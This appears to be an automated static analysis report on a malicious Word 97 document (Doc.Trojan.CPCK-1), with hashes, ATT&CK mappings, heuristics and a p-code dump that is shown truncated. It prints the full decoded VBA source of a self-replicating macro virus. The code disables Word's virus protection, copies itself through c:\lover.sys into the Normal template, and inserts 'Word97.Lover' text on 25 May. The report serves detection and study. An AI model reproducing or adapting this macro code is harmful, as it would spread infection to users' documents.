Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2053d33f60a20421…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-05-25 00:41:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 6f667a7702e71f090bd721e05f5f4d43 SHA-1: 0920dc41f27239264eabd6e6e8cb5c80dfa36ffe SHA-256: 2053d33f60a20421c2c3032d704aa11d167aadc6d7b94f82ec4c79c536809f77
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a legacy Word document containing VBA macros, specifically triggering AutoOpen and Auto_Close events. The AutoOpen macro attempts to export embedded code to 'c:\lover.sys' and inject it into the Normal template, modifying the AutoClose macro. This behavior is indicative of a macro-based malware dropper. The ClamAV detection 'Doc.Trojan.CPCK-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.CPCK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4965 bytes
SHA-256: 6d8b55355cc126d20546f1545b4f109244e94e4abd55a0a9abfd64408541f9e4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Dim temp
Options.VirusProtection = 0
CM64 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
KL63 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
Options.SaveNormalPrompt = 0
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set TQ94 = ActiveDocument.VBProject.VBComponents.Item(1)
OI83 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Sub" Then
Set TQ94 = NormalTemplate.VBProject.VBComponents.Item(1)
SC10 = True
End If
If SC10 = True Then
ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\lover.sys"
TQ94.CodeModule.AddFromFile ("c:\lover.sys")
TQ94.CodeModule.deletelines 1, 4
TQ94.CodeModule.replaceline 1, "Sub AutoClose()"
ElseIf OI83 = True Then
TQ94.CodeModule.AddFromFile ("c:\lover.sys")
TQ94.CodeModule.deletelines 1, 4
End If
If Day(Now()) = 25 And Month(Now()) = 5 Then
    For temp = 1 To 50 Step 1
        ActiveDocument.Content.InsertAfter " Word97.Lover "
    Next temp
End If
RU85:
End Sub

' Processing file: /opt/analyzer/scan_staging/8e8e69ba85d84483ac2915c0b37f16ee.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 2707 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Dim 
' 	VarDefn temp
' Line #3:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #4:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St CM64 
' Line #5:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #7:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St KL63 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #9:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #10:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set TQ94 
' Line #11:
' 	LitVarSpecial (True)
' 	St OI83 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	LitDI2 0x0001 
' 	LitDI2 0x0003 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	LitDI2 0x0003 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0003 "Sub"
' 	Ne 
' 	IfBlock 
' Line #14:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set TQ94 
' Line #15:
' 	LitVarSpecial (True)
' 	St SC10 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld SC10 
' 	LitVarSpecial (True)
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitStr 0x000C "c:\lover.sys"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #19:
' 	LitStr 0x000C "c:\lover.sys"
' 	Paren 
' 	Ld TQ94 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #20:
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	Ld TQ94 
' 	MemLd CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #21:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	Ld TQ94 
' 	MemLd CodeModule 
' 	ArgsMemCall replaceline 0x0002 
' Line #22:
' 	Ld OI83 
' 	LitVarSpecial (Tr
... (truncated)